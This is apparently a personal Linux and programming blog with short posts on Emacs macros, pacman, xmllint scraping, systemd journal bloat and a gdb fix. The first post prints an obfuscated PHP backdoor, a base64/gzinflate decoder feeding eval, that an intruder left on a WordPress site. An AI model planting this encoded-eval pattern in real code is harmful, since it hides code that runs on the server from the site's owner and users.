samedi 12 janvier 2013

somebody's writing me -- a wordpress intrusion :1

Somebody somehow gained write access on a Wordpress based blog I'm maintaining, so he left me a gift:

function BSSV($rOPJx)
{ 
$rOPJx=gzinflate(base64_decode($rOPJx));
 for($i=0;$i<strlen($rOPJx);$i++)
 {
$rOPJx[$i] = chr(ord($rOPJx[$i])-1);
 }
 return $rOPJx;
 }eval(BSSV("U1QEAu7CpJKS0sziMs3kpJI0c9OE1LSUgtQ0TdWEELfgcLfgGM/Q0MAEFz/XOC0tG24He25uAA==000"));
?>

Pretty nifty right ? to show gratitude I made him a little ASCII drawing :
http://pastie.org/5673811


mardi 8 janvier 2013

Scala value class-like to php macro


;; '//' SPACE CLASS <NAME> '(' ARGS* ')'
;; class name { private args; function name(args) { $this->args = args } public get_args() { return $this->args; }
(fset 'scala-to-php
   [?\C-k ?\C-y ?\C-j ?\C-y ?\C-a tab delete delete delete ?\M-f ?\M-f ?\C-  ?\C-e ?\C-\M-% ?\( ?\\ ?\( ?. ?* ?\\ ?\) ?\) return ?\{ ?\C-q ?\C-j ?\' ?1 backspace backspace ?\\ ?1 ?\C-q ?\C-j ?\} return ?! ?\C-r ?\{ ?\C-e ?\C-f ?\C-  ?\C-e ?\C-\M-% ?, return ?\; ?\C-q ?\C-j return ?! ?\C-e ?\; ?\C-  ?\C-r ?\{ ?\C-e ?\C-f ?\C-\M-% ?^ return ?  ?  ?p ?r ?i ?v ?a ?t ?e ?  ?$ return ?! ?\C-e ?\C-j ?\C-y ?\C-a tab delete delete delete ?\M-d ?f ?u ?n ?c ?t ?i ?o ?n ?\C-e ?  ?\{ ?\} ?\C-a ?\C-s ?\( ?\C-f ?\C-b ?\C-  ?\C-f ?\C-s ?\) ?\C-b ?\C-\M-% ?\\ ?\( ?\[ ?\[ ?: ?a ?s ?c ?i ?i backspace backspace backspace backspace ?l ?p ?h ?a ?\" ?\] ?\] backspace backspace backspace ?: ?\] ?\] ?\\ ?+ backspace backspace ?+ ?\\ ?\) ?\C-b ?\C-e return ?$ ?\' ?1 backspace backspace ?\\ ?1 return ?y ?y ?y ?y ?\C-s ?\{ ?\C-f ?\C-b ?\C-j ?\S-\C-o ?\C-y ?\M-y ?\C-a tab ?\C-s ?\( ?\C-  ?\C-a backspace tab ?\C-e backspace ?\C-a tab ?\C-  ?\C-e ?\C-\M-% ?, return ?\; ?\C-q ?\C-j return ?! ?\C-e ?\; ?\C-r ?\{ ?\C-e ?\C-f ?\C-  ?\C-s ?\} ?\C-p ?\C-e tab ?\C-  ?\C-s ?\C-r ?\{ ?\C-e ?\C-f ?\C-\M-% ?\\ ?\( ?\[ ?\[ ?: ?a ?s ?c ?i backspace backspace backspace ?l ?p ?h ?a ?: ?\] ?\] ?+ ?\\ ?\) ?\; return ?p backspace ?$ ?t ?h ?i ?s ?- ?> ?$ ?\\ ?1 ?  ?= ?  ?$ backspace ?$ ?\\ ?1 ?\; return ?! ?\C-e ?\C-f tab ?\C-e ?\C-j ?\C-y ?\C-a ?\C-  ?\C-s ?\( ?\C-? ?\C-s ?\C-m ?\C-r ?/ ?/ ?\C-f ?\C-a ?\C-  ?\C-s ?\( ?\C-m backspace ?\C-e backspace ?\C-a ?\C-  ?\C-e ?\C-\M-% ?, return ?\C-q ?\C-j return ?! ?\C-r ?\} ?\C-e ?\C-f ?\C-  ?\C-s ?\} ?\C-p ?\C-e ?\C-\M-% ?6 ?\\ ?\( backspace backspace backspace ?^ ?\' backspace ?\\ ?\( ?. ?* ?\\ ?\) return ?p ?u ?b ?l ?i ?c ?  ?g ?e ?t ?_ ?\\ ?1 ?\( ?\) ?\S-  ?\{ ?  ?$ ?t ?h ?i ?s ?- ?\M-b ?r ?e ?t ?u ?r ?n ?  ?\C-e ?. backspace ?> ?$ ?\\ ?1 ?\; ?  ?\} return ?! ?\C-s ?\} ?\C-m ?\C-  ?\C-r ?c ?l ?a ?s ?s ?\C-m tab])

// class User(name,login,password)



===
class User{
  private $name;
  private $login;
  private $password;
  function User($name,$login,$password) {
    $this->$name = $name;
    $this->$login = $login;
    $this->$password = $password;
  }
  public get_name() { return $this->$name; }
  public get_login() { return $this->$login; }
  public get_password() { return $this->$password; }
}

/tmp/kbd-macro.el (END)


I should write an keybindings expander and a literal reducer to make this bearable </lisp>

lundi 10 décembre 2012

Archlinux promoting degrowth : I like it when my system shrinks while it grows.

luser@x60s_GPT /opt/isos % sudo pacman -Su
[sudo] password for luser:             
:: Starting full system upgrade...
resolving dependencies...
looking for inter-conflicts...

Targets (2): webkitgtk2-1.10.2-1  webkitgtk3-1.10.2-1

Total Download Size:    20.35 MiB
Total Installed Size:   100.25 MiB
Net Upgrade Size:       -23.67 MiB

Proceed with installation? [Y/n]
:: Retrieving packages from extra...
 webkitgtk2-1.10.2-1-
i686                   7.3 MiB   397K/s 00:19 [#####] 100%
 webkitgtk3-1.10.2-1-
i686                  13.1 MiB   454K/s 00:29 [#####] 100%
(2/2) checking package integrity
                                   [#####] 100%
(2/2) loading package files
                                        [#####] 100%
(2/2) checking for file conflicts
                                  [#####] 100%
(2/2) checking available disk space
                                [#####] 100%
(1/2) upgrading webkitgtk2
                                         [#####] 100%
(2/2) upgrading webkitgtk3
                                         [#####] 100%

lundi 3 décembre 2012

html pager `onliner` with xmllint aka Y U NO RTFM

TIL xmllint can interpret XPath expressions, and has a html parser. No more ugly frankensed expressions to deals with trees. Ahhh DSLs.


dummy@x60s_GPT ~ % for page in $(hrefs URL | egrep $(basename URL) | sort | uniq) ;
do
curl -sL ${page}
| xmllint --html --xpath '//*[@id="content"]' -
| html2text;
done | less


where hrefs is, note the old school sedism which will soon be deprecated:

dummy@x60s_GPT ~ % cat $(which hrefs)

#!/usr/bin/env dash

URL="${1}"
curl -sL ${URL} | sed 's.>.>\n.g' | sed -n '/href/I s@^.*href="\([^"]\+\)".*$@\1@Igp' 


ps: no need to criticize my fault-tolerantless style; I'm still waiting for a whole lisp user-space so why bother...

samedi 24 novembre 2012

lennart's day : pulseaudio, systemd, initials and misconfigured system

I stumbled upon some kind of leak. /var/log/journal is eating 2GB. That explains why journalctl is sluggish as hell.

luser@x60s_GPT ~ % journalctl | awk '{print $5}' | sed 's,[^a-zA-Z\-],,g' > log
# 2 hours and 22MB later

luser@x60s_GPT ~ % sort log | uniq -c | sort -nr | head
1953078 pulseaudio
  62863 kernel
  39051 systemd
  14992 sudo
  14463 udisks-daemon
   7923 USRSBINCROND
   4015 usrsbincrond
   1601 dhcpcd
    733 systemd-logind
    704 systemd-journal


So pulseaudio is the prime suspect. A while back I used '-vvvv' for debugging purposes, but removed the vvvverbose option for at least a few weeks. It was dropping dozens of messages every 5 seconds and I can't find a way to trim the old persisted logs. I'm tempted to blindly delete them but will wait a bit before doing so.

tl;dr still looking for a way to manage, meaning trim, systemd journal disk usage a posteriori in case of log bloat.

Trivia: journal log header include LPKSHHRH. I thought it was a compression format magic number, PKZIP comes to mind, but apparently it is more of a signature.


LPKSHHRH acronym
LP KS HH RH ;)






ha, computers. I mean noobs.

dimanche 18 novembre 2012

correcting pacman scriptlet syntax error with gdb

On Nov 18 2012, archlinux openntpd-3.9p1-20-i686 package install script had a syntax error. An empty bash function (it seems) caused upgrade abortion. I thought I could intercept package decompression so that I can correct the script but pacman is fine grained and clean everything as soon as it can. So I used that as an excuse to mess with it using gdb. I never ran a real program in gdb before, not even one without debugging symbols, so it wasn't a breeze. After 10 minutes of useless `continue` I tried to locate function calls of interest. Not knowing the linux C ecosystem I started with a guess `mkdir`, then saw `mkdtemp`. I was monitoring /tmp for new entries made by pacman. But by the time I see a .INSTALL it's already too late. After poking through pacman github's repo, I saw new names but these are non loaded shared libraries and I don't understand how to declare a breakpoint on these. Anyway the script execution is done in a forked process, so the .INSTALL file still exists at the time a `b fork` will pop, that's where vim comes into play for a little on-the-fly monkeypatch.

tl;dr: gdb breakpoints on mkdtemp and fork leaves an open window to edit pacman's .INSTALL script, and successfully install this package, one that people on #archlinux consider obsolete, too late, I'll brag anyway.

references:

https://projects.archlinux.org/pacman.git/tree/lib/libalpm/util.c

edit: few wordings, and forgot the end. * facepalm *

jeudi 8 novembre 2012

About Desktop Environments, *nix, asynchronous monitoring

Simplest reactive UI, the unix way ?


I was happy when I saw KDE4 and recent Gnome DE include sophisticated notifications system (finally) but field testing wasn't so good. Using a not so recent ThinkPad laptop, I aimed toward a simpler, lighter graphical interface, namely Xmonad/Xmobar in almost vanilla state. Being new to haskell, and to tweaking a basic (arch)linux, I delayed for many monthes until I finally eat it.
Adding a bunch of sensors to xmobar/dzen is easy. dzen even handles mouse events so you can have active notifications. There's also dunst to pop notification bubbles when you need it, where you need it. Basically with the right amount of pretty-good glue, you'd have enough asynchronousness to monitor secondary tasks without needing anything more than 2 simple programs.

to be continued...